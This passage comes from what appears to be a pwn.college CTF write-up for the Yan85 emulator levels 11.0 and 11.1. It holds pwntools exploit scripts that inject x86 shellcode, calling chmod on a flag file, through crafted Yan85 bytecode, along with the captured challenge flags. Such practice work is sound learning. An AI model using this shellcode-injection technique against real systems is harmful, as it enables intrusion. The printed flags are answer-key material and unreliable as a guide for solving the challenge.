content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload()
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{MCXoFb-q4KUhm1mE_Yk7XCDiZZa.0VOzMDL5cTNxgzW}

Level 11.1

Information

Description

The ultimate Yan85 challenge. Provide your own Yan85 shellcode. Now updated for modern hardware!

Write-up

参见 Level 11.0

Exploit

#!/usr/bin/python3
from pwn import ELF, asm, context, gdb, log, p64, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./toddlerone-level-11-1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *main+503
c
"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
def construct_payload():
"""
opcode arg1, arg2
/* chmod(file='f', mode=4) */
/* push b'f\x00' */
push 0x66
mov rdi, rsp
push 4
pop rsi
/* call chmod() */
push 90 /* 0x5a */
pop rax
syscall
"""
yancode = p64(0x10) + p64(0x08) + p64(0x808) # imm a, 0x808
yancode += p64(0x10) + p64(0x02) + p64(0xCD) # imm b, 0xcd
yancode += p64(0x02) + p64(0x08) + p64(0x02) # stm a, b
yancode += p64(0x10) + p64(0x08) + p64(0x00) # imm a, 0x00
yancode += p64(0x08) + p64(0x00) + p64(0x08) # jmp *, a
yancode += (
p64(0x10) + p64(0x08) + asm("push 0x66; mov rdi, rsp; nop; jmp $+0xb")
) # imm a, shellcode
yancode += (
p64(0x10) + p64(0x08) + asm("push 0x4; pop rsi; push 0x5a; nop; jmp $+0xb")
) # imm a, shellcode
yancode += (
p64(0x10) + p64(0x08) + asm("pop rax; syscall") + asm("nop") * 0x5
) # imm a, shellcode
return yancode
def attack(target, payload):
try:
target.sendafter(b"Please input your yancode: ", payload)
try:
with open("./f", "r") as file:
content = file.read()
log.success(content)
return True
except FileNotFoundError:
log.exception("The file './f' does not exist.")
except PermissionError:
log.failure("Permission denied to read './f'.")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
target = launch(debug=False)
payload = construct_payload()
attack(target, payload)
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()

Flag

Flag: pwn.college{Ya3vfImP22Fzv4tZpHMBD5iDj_H.0FM0MDL5cTNxgzW}

后记

又是打了十八天,终于可以开启我心心念念朝思暮想曾多次想放弃却从未开启的下一章了 LMAO